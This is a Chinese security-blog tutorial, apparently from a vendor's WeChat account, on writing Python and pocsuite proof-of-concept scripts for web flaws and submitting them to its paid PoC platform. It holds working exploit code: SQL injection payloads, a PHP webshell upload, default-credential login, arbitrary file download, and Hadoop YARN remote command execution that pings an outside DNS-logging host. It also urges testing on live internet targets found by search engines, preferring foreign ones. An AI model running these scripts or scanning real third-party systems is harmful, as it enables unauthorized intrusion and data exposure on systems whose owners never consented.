【关注观星公众号】渗透系列之POC编写之刷分大法

一、前言:POC&EXP

什么是POC:即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化。在信息安全里,POC为漏洞验证程序,功能为检测漏洞是否存在。poc和exp(全称Exploit)的区别就是,poc是漏洞验证程序,exp是漏洞利用程序。针对通用型应用漏洞编写poc,可以使漏洞测试大大加快速度,可以在漏洞发现时批量检测资产漏洞情况。

 

什么是通用型应用漏洞?

一定使用量或者说是用户量的第三方框架、软件、应用、系统等对应的漏洞,拿web层应用来说需要满足:

1、 两个站点以上使用了该应用,可参考cnvd(国家信息安全漏洞共享平台)的漏洞;

2、 路径固定、参数固定。

 

为什么要编写POC

如果仅是停留在使用别人的渗透工具上来说,对个人自身进步来说,单纯的涨了姿势,久了可能还会忘记。编写POC不仅可以提高对漏洞原理的理解,一定程度上提高了编程开发能力,还可以规范自己的武器库,在做渗透测试项目的时候更加得心应手。

 

为什么要做好POC的质量和数量?

一个安全检测工具或者说是一个安全检测产品最重要的是POC插件,为其赋能的POC插件质量和数量决定了它的检测能力。

 

为什么需要漏洞、POC平台?

为网络安全出一份力和众人拾柴火焰高的道理:用户社区的力量。PoC++平台是数字观星科技有限公司自主开发并运营的POC收录平台,旨在通过凝聚全社会的安全技术力量,打造覆盖面更广、检测能力更强的一流漏洞扫描、验证平台。提交POC到我们的POC++平台可以获取丰厚的奖励,积分兑换京东卡等。

 

二、关于POC编写流程

通常编写POC流程:

1、漏洞发现或者说是找漏洞

2、寻找线上目标或搭建漏洞环境复现

3、理解漏洞的触发点、判断是否存在漏洞

4、编写POC

5、POC测试,通用漏洞,找到足够的url证明这是个通用可用的POC

如果写POC是为了提交到观星的POC++平台,建议先查重,当有人已经提交相关的POC,可以使用星豆(平台积分)去兑换,省下的时间可以写其他的POC。

 

三、WEB常见漏洞POC类型介绍

1、敏感信息泄露

配置信息泄露、日志泄露、路径泄露等。你觉得它是漏洞,可能会漏洞触发关联到危害,那就是漏洞。

 

2、未授权访问

按照理解,应该设认证的功能没设置认证。需要安全配置或权限认证的功能、页面存在缺陷导致可以直接访问,从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

 

3、默认密码

顾名思义,常见的路由器、摄像头等设备或应用的默认密码,以账号密码admin/admin为经典。

 

4、SQL注入

SQL注入是比较常见的网络攻击方式之一,sql语句注入,可以说是研究得最多最深的漏洞。攻击者提交的恶意数据可以被数据库解析执行,常见数据库有mysql、mssql、oracle、access、postgresql、sqlite等,各有差异。

按照回显效果分:

有回显:联合注入和报错注入。

无回显:时间盲注、布尔盲注。

联合注入:利用显示位,注入爆出想要的数据。

报错注入:报错注入是利用数据库在出错的时候会引出查询信息。

时间盲注:注入不同的延时语句,再通过页面响应时间判断是否存在注入。

布尔盲注:注入使数据库得到true和false的场景,比如判断某个数据表是否存在sql注入的两个payload,页面的响应不同判断注入存在。

 

5、XSS

XSS(Cross Site Scripting,跨站脚本攻击)分三种类型:

1)反射型:攻击者准备攻击链接, 需要受害者访问链接触发XSS代码,一般容易出现在搜索页面。

2)存储型:XSS代码存在服务器中的,如在发表文章的时候插入payload,如果没有过滤或过滤不严payload存储在服务器中,当有用户访问插入payload的文章链接之后触发XSS代码执行。

3)Dom型:基于Dom(DocumentObjeet Model基于文档对象模型)的漏洞,DOM中有很多对象,其中一些是用户可以操纵的,如location等。客户端的脚本不依赖于提交数据到服务器端,如果没有将DOM中传入的数据做严格的过滤,将其限制在可控范围内,就会产生DOM XSS。

 

6、目录穿越、文件下载、文件包含

目录穿越:目录穿越是未设置访问边界,用户可以越界访问到不该提供文件,会造成任意文件读取漏洞。

文件下载:网站提供了文件(附件)下载功能,如果对下载的文件没有做限制,恶意利用这种方式下载服务器的敏感文件,如config.prorertie敏感文件等。

文件包含:为了使用代码的重用性,通过文件包含函数将代码文件包含进来,从而使用里面的代码,文件包含在php开发中很常见。当文件包含函数的文件参数可控时,文件参数又未进行校验或者校验被绕过,就会产生文件包含漏洞,导致读取文件、代码执行等。

 

7、文件上传

web项目通常提供了文件上传的功能,当上传功能没有限制校验或者限制被绕过时,攻击者上传了恶意脚本且恶意脚本被web服务器解析成脚本文件执行脚本内容,就会导致代码执行。

 

8.远程代码、命令执行

远程代码执行:拿功能可能出现的漏洞来说。当有了方便传输、提高性能等需求,web项目中就可能会用到序列化。序列化是将对象的状态信息转换为可以存储或传输的形式的过程,反序列化为相反过程。当不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能导致任意代码执行。为了方便开发,项目使用的一些组件可能会支持一些表达式,当安全策略被绕过时,攻击者就可以通过构造特定数据带入表达式造成远程代码执行。功能强大的背后可能出现的漏洞就越多,需要做的安全措施就越多。

远程命令执行:常见的web应用调用服务器程序,当参数被直接带入程序执行命令或过滤被绕过时,就可能会出现命令注入漏洞,导致远程命令执行。如支持ping功能的web程序参数IP,使用管道符|进行拼接恶意命令,就可能导致远程命令执行。

 

9.URL跳转

比如一些场景为登录之后跳转到个人中心,跳转的url可控或者过滤被绕过,就会导致任意URL链接跳转。

以上仅列举常见漏洞,POC++平台接收包含但不限于以上漏洞的POC

 

四、常见漏洞POC类型编写

按照如上漏洞类型,通过案例了解漏洞,并使用python编写poc。所以该章节学习前提:可以看懂python基础语法,看不懂的童鞋建议学习一下python基础语法,进一步有进一步的快乐呀。python2和python3如何选择?基础语法,学习哪个版本不重要,都行。个人推荐菜鸟教程的python教程,链接:

https://www.runoob.com/python/python-tutorial.html。

 

1、敏感信息泄露

漏洞案例:

在2019年出现的Coremail邮件系统配置文件信息泄露漏洞,Coremail mailsms接口配置存在未授权访问导致敏感信息泄露。漏洞的配置文件泄露地址是

/mailsms/s?func=ADMIN:appState&dumpConfig=/。

我们可以打开一个存在漏洞的链接:

【关注观星公众号】渗透系列之POC编写之刷分大法_第1张图片

我们可以发现漏洞确实存在,/mailsms/s?func=ADMIN:appState&dumpConfig=/页面存在coremail关键字作为应用指纹,配置信息也直接显示泄露了,现在我们可以开始编写这个漏洞的POC了。关于指纹信息学习编写可以查看以往文章介绍,欢迎将指纹信息提交至我们平台获取丰厚奖励,链接:

https://fp.shuziguanxing.com/。

写POC之前我们先确认这是个通用漏洞,且POC的原则是以最少请求最准确确认当前应用存在漏洞(少请求、低误报漏报)。所以我们的POC可以用python2编写为:

【关注观星公众号】渗透系列之POC编写之刷分大法_第2张图片

 

2、未授权访问

漏洞案例:

互联网上存在很多暴露在公网上的摄像头等安防设备,且未设置认证,导致可以实时查看监控等操作。作为安防设备不安全,本身就是一种讽刺笑话。这里我们使用空间搜索引擎搜索找一款派尔高 Sarix网络摄像头。

【关注观星公众号】渗透系列之POC编写之刷分大法_第3张图片

访问/liveview即可查看摄像头实时监控,且查看源码Copyright内容部分可以作为指纹信息。

【关注观星公众号】渗透系列之POC编写之刷分大法_第4张图片

所以判断是否存在漏洞可以写成:请求状态码

200&Copyright © 2007-2010, PELCO· 

Pelco.com。但是在测试POC的时候发现有些跳转到登录界面也会满足这个条件,页面里面有执行js页面跳转代码window.location.replace("/auth/login",

所以还要加跳转代码未在页面里。POC可以写为:

 

# coding:utf-8import reimport requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    action = "/liveview"    target = target.rstrip("/")    verfy_url = target + action#有时候路由URL会出现//liveview访问不到资源404,所以要确保访问到http://xxxx/liveview    pattern = re.compile('Copyright.+PELCO.+        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("http://111.111.111.111/")

3、默认密码

漏洞案例:

这里我们找Grafana可视化工具后台管理默认账号密码,实际测试grafana默认用户名密码为经典的admin/admin。找一个实例测试,登录之后,点击"Skip"就可以进入后台。

【关注观星公众号】渗透系列之POC编写之刷分大法_第5张图片

浏览器f12查看请求包发现是将账号密码的payload{"user":"admin","password":"admin"}通过post方式到URL:/login,成功之后会返回{"message":"Loggedin","redirectUrl":"/"},而且会设置cookie,也就是响应头的Set-Cookie,经过观察Set-Cookie里的必要字段为grafana_session或者为grafana_sess,这个可以作为应用指纹,也可以作为登录成功的判断。所以我们的POC可以为:

# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",        "Accept": "application/json, text/javascript, */*; q=0.01",        "Content-Type": "application/json"    }    action = "/login"    payload = '{"user":"admin","password":"admin"}'    target = target.rstrip("/")    verfy_url = target + action    resp = req.post(verfy_url, data=payload, headers=headers, timeout=30, verify=False, allow_redirects=False)    if (resp.status_code == 200 and "grafana_session" in resp.headers["Set-Cookie"]) or (            resp.status_code == 200 and "grafana_sess" in resp.headers["Set-Cookie"]):        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("http://111.111.111.111/")

4、SQL注入

漏洞案例:

这里我们通过注入sql语句效果有没有直接回显数据和不回显数据案例编写poc。

(1)回显:

有显示位的时候可以使用联合注入注出数据,如果报错信息功能未关可以使用报错注入注出数据。以Strassen24Panomizer Objects.php参数TypeCategoryId存在SQL注入为示例。漏洞详情链接:

https://cxsecurity.com/issue/WLB-2020030142

直接使用漏洞详情提供的测试url测试。

漏洞链接为

/php/Objects.php?Action=ChangeCategory&TypeCategoryId=1,

这里通过updatexml函数报错注入注出数据,执行一个md5加密就好,

payload:/php/Objects.php?

Action=ChangeCategory&TypeCategoryId=1%20and%20updatexml(1,md5(996),1)%20--+:

【关注观星公众号】渗透系列之POC编写之刷分大法_第6张图片

响应没有特定指纹,一次请求,响应足够特殊所以不再请求匹配指纹。执行md5加密数据时,可以加上随机字符串加密,然后再判断md5是否在响应内容,这个可以自己加。所以我们的poc可以为:

# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    payload="/php/Objects.php?Action=ChangeCategory&TypeCategoryId=1%20and%20updatexml(1,md5({}),1)%20--+".format(996)    resp1 = req.get(target+payload, headers=headers, timeout=30, verify=False, allow_redirects=False)    if "b8aff0438617c055eb55f0ba5d226fa" in resp1.text and resp1.status_code == 200:        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("https://111.111.111.111")

(2)不回显:

注意:延时注入要产品特征匹配降低误报率

SQL注入有时候没有直接回显数据,但是可以注入,在编写poc可以使用延时判断是否存在sql注入漏洞,以风讯(foosun)CMS.net版本

/user/City_ajax.aspx 文件Cityid 参数SQL注入漏洞为示例。经测试该注入点支持堆叠注入,所以延时5秒的payload为

/user/City_ajax.aspx?Cityid=1'WAITFOR DELAY '0:0:5'-- q,

直接在互联网上找到一个实例测试:

【关注观星公众号】渗透系列之POC编写之刷分大法_第7张图片

【关注观星公众号】渗透系列之POC编写之刷分大法_第8张图片

 

响应内容没有明显的指纹信息,在首页有明显的指纹For Foosun Inc,所以再请求首页匹配指纹。在poc中判断是否存在注入可以通过两个payload的时间差判断:大于等于4.5秒。所以我们的POC可以为:

 

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    resp1 = req.get(target, headers=headers, timeout=30, verify=False, allow_redirects=False)    if "For Foosun Inc" in resp1.text and resp1.status_code == 200:        payload1 = "/user/City_ajax.aspx?Cityid=1%27%20WAITFOR%20DELAY%20%270:0:0%27--%20q"        payload2 = "/user/City_ajax.aspx?Cityid=1%27%20WAITFOR%20DELAY%20%270:0:5%27--%20q"        resp2 = req.get(url=target + payload1, headers=headers, verify=False, timeout=30)        stime1 = resp2.elapsed.total_seconds()        resp3 = req.get(url=target + payload2, headers=headers, verify=False, timeout=30)        stime2 = resp3.elapsed.total_seconds()        if resp1.status_code == resp2.status_code == 200 and stime2 - stime1 >= 4.5:            print target + ",存在漏洞"            return True    return Falseif __name__ == '__main__':    verify("http://111.111.111.111/")  

5、文件读取、文件下载、遍历、文件包含

漏洞案例:

漏洞上验证都差不多,取系统的必要文件做证明即可。应用的系统可能大部分为windows或者linux,所以编写POC的时候要考虑这两个系统,其他系统可以自行考虑是否加入。windows可以取c:/windows/system.ini,linux可以取/etc/passwd,其他的低权限可读的系统必要文件也可以。以EVO-CRM Script v1.02任意文件下载漏洞为例,详情漏洞链接:

https://cxsecurity.com/issue/WLB-2020030066,使用漏洞详情里的漏洞url测试:

【关注观星公众号】渗透系列之POC编写之刷分大法_第9张图片

漏洞url为/download.php?nome_file=,nomefile参数为下载文件参数,

`include/applicationtop.php的存在EVO-CRM的指纹,所以可以直接下载这个文件作为证明。这里下载也可以下载系统文件,但是可能要多请求一次匹配指纹,这里优先下载存在指纹信息的文件

include/application_top.php`,所以poc可以为:

​​​​​​​

# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    action = "/download.php?nome_file=include/application_top.php"    verfy_url = target + action    resp = req.get(verfy_url, headers=headers, timeout=30, verify=False, allow_redirects=False)    if resp.status_code == 200 and 'EVO-CRM - Content Relationship Management' in resp.text and "mysql_evocms_fetch_object" in resp.text:        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("https://111.111.111.111/")

6、文件上传

漏洞案例:

以Monitorr 1.7.6 存在文件上传漏洞为示例,漏洞详情

https://www.exploit-db.com/exploits/48980。

漏洞详情中可以看到/assets/php/upload.php未授权且过滤被绕过,可直接上传php文件执行php代码。前几天有个小伙伴已经写好交到我们的POC平台,所以POC可以为:​​​​​​​

# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    filename = '123123123123.php'    code = "GIF89a213213123456"    files = {'fileToUpload': (filename, code, 'Content-Type: image/gif')}    action1="/assets/php/upload.php"    resp1 = req.post(target+action1,headers=headers, verify=False, timeout=30, allow_redirects=False,files=files)    if resp1.status_code == 200 and filename in resp1.text and 'has been uploaded' in resp1.text:        action2="/assets/data/usrimg/{}".format(filename)        resp2 = req.get(target+action2, verify=False)        if resp2.status_code == 200 and "0b8aff0438617c055eb55f0ba5d226fa" in resp2.text:            print target + ",存在漏洞"            return True    return False
if __name__ == '__main__':    verify("http://111.111.111.111/")   

7、代码、命令执行

漏洞案例:

以Hadoop YARN ResourceManager 未授权访问导致远程命令执行漏洞作为漏洞演示,漏洞原理链接:

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf。

漏洞复现以及exp脚本可查看:

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/,这里我们直接引用里面的exp,修改执行命令,因为无回显,所以通过dnslogapi返回结果判断是否存在漏洞,dnslog api可以填写自己的。所以poc可以为:

# coding:utf-8import randomimport timeimport requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    target=target.rstrip("/")    action1 = "/ws/v1/cluster/apps/new-application"    resp1 = req.post(target + action1, headers=headers, timeout=30, verify=False, allow_redirects=False)    app_id=0    try:        app_id = resp1.json()['application-id']    except Exception as e:        print e        return False    action2="/ws/v1/cluster/apps"    ceye_domain="{}.xxxxx.ceye.io".format(''.join(random.sample('abcdefghijklmnopqrstuvwxyz',5)))    ceye_api_token = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"    data = {
            'application-id': app_id,        'application-name': 'test',        'am-container-spec': {
                'commands': {
                    'command': 'ping -c 1 %s' % ceye_domain            },        },        'application-type': 'YARN',    }    req.post(target+action2, json=data, headers=headers, timeout=30, verify=False, allow_redirects=False)    time.sleep(3)    ret=req.get("http://api.ceye.io/v1/records?token={}&type=dns&filter={}".format(ceye_api_token,ceye_domain)).json()["data"]    if ret:        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("http://111.111.111.111/")

8、URL跳转

漏洞案例:

url跳转拿SMF4Mobile 1.1.5 存在URL重定向漏洞作为漏洞演示,漏洞详情链接:

https://cxsecurity.com/issue/WLB-2019030006。

在漏洞详情里面可以看到可测试的url,漏洞链接为

index.php?thememode=mobile;redirect=,

redirect为要跳转的url参数,响应状态码为301或者302。

【关注观星公众号】渗透系列之POC编写之刷分大法_第10张图片

在编写url重定向漏洞POC的时候,poc请求里面不让其跳转,一次请求检查响应头的跳转或前端跳转代码即可。这个漏洞的url足够特殊,所以不需要再进行一次请求得到指纹匹配,所以POC可以为:

# coding:utf-8import requests as reqdef verify(target):    headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",    }    action = "/index.php?thememode=mobile;redirect=https://cxsecurity.com/"    verfy_url = target + action    resp = req.get(verfy_url, headers=headers, timeout=30, verify=False, allow_redirects=False)    if resp.status_code in [301,302] and 'https://cxsecurity.com/' in resp.headers["Location"]:        print target + ",存在漏洞"        return True    return Falseif __name__ == '__main__':    verify("https://111.111.111.111/")

五、POC规范、POC框架

将poc的格式等规范好放入一个框架内方便查看、使用,好处多多。POC框架有很多,常见开发语言是python、golang、ruby等,常见的POC框架有pocsuite、osprey、poc-t、kunpeng等。这里使用python2版本的pocsuite编写POC。

 

1、pocsuite介绍

Pocsuite 是知道创宇安全研究团队打造的一款基于漏洞与 PoC 的漏洞验证框架。在获取到相关漏洞详情后,任何有一定 Python 开发基础的人都可以基于 Pocsuite 开发出对应漏洞的 PoC 或者 Exp ,轻而易举的就可以直接使用 Pocsuite 进行相关的验证和调用,而无需考虑底层代码架构等。

 

2、安装以及简单使用

可通过pip install pocsuite安装,也可以直接git clone 

https://github.com/knownsec/Pocsuite

下载使用。

 

简单常用命令:

python pocsuite.py -r tests/poc_example.py -uhttp://www.example.com/ --verify

-r poc路径,可以单个poc文件,也可以是poc文件夹,-u为验证url--verify为执行poc验证函数

 

如有第三方模块可将对应的包放入pocsuite的thirdparty文件夹。

更多详细的用法:

https://github.com/knownsec/Pocsuite/blob/dev/docs/USAGE.md

 

3、POC编写步骤

本地poc文件命名规范请查看:

https://github.com/knownsec/Pocsuite/blob/dev/docs/CODING.md#namedstandard

1)基础信息填写:

​​​

vulID = '1571'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0version = '1' #默认为1author = 'zhengdt' #  PoC作者的大名vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天createDate = '2014-10-16'# 编写 PoC 的日期updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址appName = 'Drupal'# 漏洞应用名称appVersion = '7.x'# 漏洞影响版本vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表desc = '''Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,可以添加管理员、造成信息泄露。''' # 漏洞简要描述samples = []# 测试样列,就是用 PoC 测试成功的网站install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写

年轻人要讲"码徳",写清楚必要信息方便你我他,具体要求请看如下图片代码注释:

【关注观星公众号】渗透系列之POC编写之刷分大法_第11张图片

(有些字段是在如上基础信息添加的,越详细越好哈)还是要唠嗑一下,ID编号可加上vulID、cveID、cnvdID、cnnvdID变量字段,详细一点好,也可为空;author为你的大名ID都行;version为poc的版本,默认为1;日期变量字段有vulDate、createDate、updateDate,分别代表漏洞发现日期、poc编写日期、poc编写更改日期;name为当前poc名称;desc为poc的漏洞描述;solution为漏洞poc解决方案;severity为poc漏洞危害等级,高中低危害:high、medium、low;vulType为漏洞类型,如sql注入为SQL Injection,也可以缩写的sql-inj;taskType为任务类型,比如统称的应用漏洞可以填写为app-vul;references为参考引用,比可填上参考链接,没有则留空;appName为影响漏洞应用名称;appVersion为影响漏洞应用版本;appPowerLink为应用产品链接,可为空;samples为简单的线上、互联网上的测试案例网站或者说目标。

 

详细具体规范请查看:

https://github.com/knownsec/Pocsuite/blob/dev/docs/CODING.md

提交POC++平台可参照平台帮助中心:

https://poc.shuziguanxing.com/#/news#19-500000/19-500000/2-500000。

 

2)编写模块与结果返回:

一个干净的py插件模板,按照如下模板填入基础信息,之后编写验证和攻击模块即可:​​​​​​​

#!/usr/bin/env python# coding: utf-8from pocsuite.api.request import reqfrom pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBaseclass TestPOC(POCBase):    vulID = ''    cveID = ''    version = ''    author = ['']    vulDate = ''    createDate = '2019-03-25'    updateDate = '2019-03-25'    references = ['']    name = ''    appPowerLink = ''    appName = ''    appVersion = ''    vulType = ''    desc = '''    '''    samples = ['']    install_requires = ['']    #请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段    def _attack(self):        result = {}        #Write your code here        return self.parse_output(result)    def _verify(self):        result = {}        #Write your code here        return self.parse_output(result)    def parse_output(self, result):        #parse output        output = Output(self)        if result:            output.success(result)        else:            output.fail('Internet nothing returned')        return outputregister(TestPOC)

4、以上常见漏洞POC类型编写测试

用Coremail邮件系统配置文件信息泄露漏洞做为编写POC练习,示例代码,之后就可以按照文档微调即可。先填写基础信息,最后编写模块,结果返回输出函数copy即可,所以poc为:​​​​​​​

#!/usr/bin/env python# coding: utf-8from pocsuite.api.request import reqfrom pocsuite.api.poc import registerfrom pocsuite.api.poc import Output, POCBaseimport sysreload(sys)sys.setdefaultencoding('utf8')class TestPOC(POCBase):    vulID = '0'    version = '1'    author = 'guanxing'    vulDate = '2019-06-14'    createDate = '2020-11-30'    updateDate = '2020-11-30'    references = ['https://www.secpulse.com/archives/107611.html']    name = 'Coremail邮件系统配置文件信息泄露漏洞 POC'    appPowerLink = 'https://www.coremail.cn/'    appName = 'Coremail邮件系统'    appVersion = '*'    vulType = 'Information Disclosure'    desc = '''        Coremail mailsms接口配置存在未授权访问漏洞,可能导致敏感信息泄露。Coremail配置文件未授权访问的地址:/mailsms/s?func=ADMIN:appState&dumpConfig=/    '''    samples = ["http://111.111.111.111","http://222.222.222.222"]    def _attack(self):        result = {}        # Write your code here        return self.parse_output(result)    def _verify(self, verify=True):        result = {}        headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",        }        payload = "/mailsms/s?func=ADMIN:appState&dumpConfig=/"        verify_url = self.url + payload        resp = req.get(verify_url, headers=headers, timeout=30, verify=False, allow_redirects=False)        if resp.status_code == 200 and 'coremail' in resp.text and '' in resp.text:            result['VerifyInfo'] = {}            result['VerifyInfo']['URL'] = self.url            result['VerifyInfo']['Payload'] = payload        return self.parse_output(result)    def parse_output(self, result):        # parse output        output = Output(self)        if result:            output.success(result)        else:            output.fail('Internet nothing returned')        return outputregister(TestPOC)

【关注观星公众号】渗透系列之POC编写之刷分大法_第12张图片

 

六、如何提交POC到数字观星POC平台

先上链接:

https://poc.shuziguanxing.com/。

没有注册的小伙伴可以注册一下,奖励多多。可以先查看帮助中心,里面有详细的提交步骤等文档。

【关注观星公众号】渗透系列之POC编写之刷分大法_第13张图片

可以加入我们的POC、指纹刷分群,有小哥哥24小时在线为你解答:

【关注观星公众号】渗透系列之POC编写之刷分大法_第14张图片

如果加不上,可添加如下小哥哥微信方便入群:

【关注观星公众号】渗透系列之POC编写之刷分大法_第15张图片

七、如何刷POC赚奖励赚钱

什么?poc还能刷?是的,和刷漏洞一样,很多安全公司都收POC,比如数字观星。

1、找漏洞之常用漏洞公开平台:

对于白帽子而言,PoC/Exp资源库就是我们的军火库,军火不行怎么上战场?

推荐漏洞公开平台:

(1)微信公众号、博客文章

推荐一个平台:

http://wechat.doonsec.com/wechat_github/

里面收集了很多的安全公众号,每天也可以查看文章,有时候公众号复现之后还会提供测试目标的dork语法方便查找目标和docker靶机。

【关注观星公众号】渗透系列之POC编写之刷分大法_第16张图片

 

(2)github

现在大部分的白帽子都喜欢在github公开漏洞利用,搜索一下可能有惊喜。

链接:https://github.com/。

这里提供一个思路,采集大量的cve编号和利用相关关键字搜索或者监控每天更新的cve编号+相关关键字搜索poc,这样可以刷大量poc。注意:需要注意的是可能会出现”假货“,看到exp/poc等可执行的脚本,有能力的先看看代码别着急运行,看不懂可以丢虚拟机运行,不然下一秒就是”有主机请求上线!“

【关注观星公众号】渗透系列之POC编写之刷分大法_第17张图片

 

(3)exp-db

面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况。链接:

http://www.exploit-db.com/

【关注观星公众号】渗透系列之POC编写之刷分大法_第18张图片

 

(4)shodan

shodan:一款国外的网络空间搜索引擎,它也会收集一些exp,链接:

https://exploits.shodan.io/?q=*

【关注观星公众号】渗透系列之POC编写之刷分大法_第19张图片

(5)packetstorm

很多exp的老牌安全网站,链接:

https://packetstormsecurity.com/files/tags/exploit/

【关注观星公众号】渗透系列之POC编写之刷分大法_第20张图片

 

(6)0day.today

链接:https://0day.today/(打不开请自行解决)

【关注观星公众号】渗透系列之POC编写之刷分大法_第21张图片

 

(7)cxsecurity.com

里面会公开一些漏洞,漏洞详情里面有时候会有直接测试的漏洞链接,

链接:https://cxsecurity.com/

【关注观星公众号】渗透系列之POC编写之刷分大法_第22张图片

(9)其他

1、http://www.openwall.com/lists/oss-security/

2、https://www.vulnerability-lab.com/

3、https://www.exploit-database.net/

4、http://www.expku.com/

5、推特

6、论坛

7、0组(可惜是要登录的)

8、白泽文库

9、博客

2、找漏洞之从关键字出发:

"捡洞"玩法:拿一个案例来说:在cnvd提交漏洞,有时候白帽子会填写xxxxx系统shxxxxx.php存在sql注入,cnvd发布漏洞的漏洞标题就可能是xxxxx系统shxxxxx.php存在sql注入。这时候就可以往回找,搜索引擎:intext:"xxxxx系统",可以找到线上目标或者官网的案例展示,看到类似的就可以尝试测试,最后就是类似漏洞链接、点发现。这里推荐平台:

https://www.anquanke.com/vul

https://www.cnvd.org.cn/

 

3、漏洞复现之找目标和docker靶机

通常找目标可以是fofa、zoomeye、google等搜索引擎,也可以寻找docker或者编写docker漏洞环境,这里推荐fofa、zoomeye、google寻找线上目标,原则:国外目标优先、点到为止。

 

八、结语

编写POC可以提高对漏洞原理的理解,一定程度上提高了编程开发能力,还可以规范自己的武器库,在做渗透测试项目的时候更加得心应手。学习的过程,有开始的输入也要有输出形成闭环,学习最好的方式是分享。POC++平台作为一个POC运营的平台,除了提供奖励之外,更重要的一点,是提供了一个白帽交流POC的平台。随着越来越多的白帽朋友加入平台,提交各种各样的POC,当白帽在工作需要查找漏洞的时候,POC++平台可以很好地提供相应的漏洞信息和POC,这也是我们为之骄傲的一点。
数字观星POC++平台感谢已经加入平台的用户所做出的贡献的同时,热烈盼望新鲜血液的流进。
快加入我们吧,POCer。

 

 

 

你可能感兴趣的:(Web渗透测试)